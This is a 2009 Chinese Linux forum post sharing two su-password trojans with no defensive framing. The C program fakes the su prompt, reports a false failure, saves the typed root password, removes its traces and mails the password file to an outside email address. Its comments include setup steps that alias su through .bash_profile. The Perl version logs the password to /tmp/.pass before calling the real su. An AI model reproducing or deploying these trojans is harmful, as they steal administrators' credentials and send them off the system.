LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 806|回复: 0

linux下记录su密码的代码

[复制链接]
发表于 2009-5-11 11:11:37 | 显示全部楼层 |阅读模式
/*
* kpr-fakesu.c V0.9beta167
* by koper <koper@linuxmail.org>
*
* Setting up:
* admin@host:~$ gcc -o .su fakesu.c; rm -rf fakesu.c
* admin@host:~$ mv .su /var/tmp/.su
* admin@host:~$ cp .bash_profile .wgetrc
* admin@host:~$ echo "alias su=/var/tmp/.su">>.bash_profile
* admin@host:~$ logout
* *** LOGIN ***
* admin@host:~$ su
* Password:
* su: Authentication failure
* Sorry.
* admin@host:~$ su
* Password:
* root@host:~# logout
* admin@host:~$ cat /var/tmp/.pwds
* root:dupcia17
* admin@host:~$
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit" ;)
*
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[]){

FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];

sprintf(filex,"/var/tmp/.pwds");
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/admin/.wgetrc /home/admin/.bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
    user=argv[2];
else user=argv[1];}

fprintf(stdout,"assword: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\nSorry.\n");

if ((fp=fopen(filex,"w")) != NULL)
   {
   fprintf(fp, "%s:%s\n", user, pass);
   fclose(fp);
   }

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

/* If you don't want password in your e-mail uncomment this line: */

system("uname -a >> /var/tmp/.pwds; cat /var/tmp/.pwds | mail murrain@gmail.com");

}

perl版本:


#!/usr/bin/perl

####################################################################################################
# kyle@freeshell.se 2006 su trojan check so the su path is correct.                                #
# then make alias for trojan first it reads the pass then exec the real su.                      #
# logging to /tmp/.pass                                                                         #            
####################################################################################################


print "assword: "; $s1=<STDIN>;
print "Sorry.\n";
$s2="assword is: ";
$s3=`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ("Could not open file. $!");
print users ($s2, $s1,$s3);
close (users);

system("/bin/su")
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表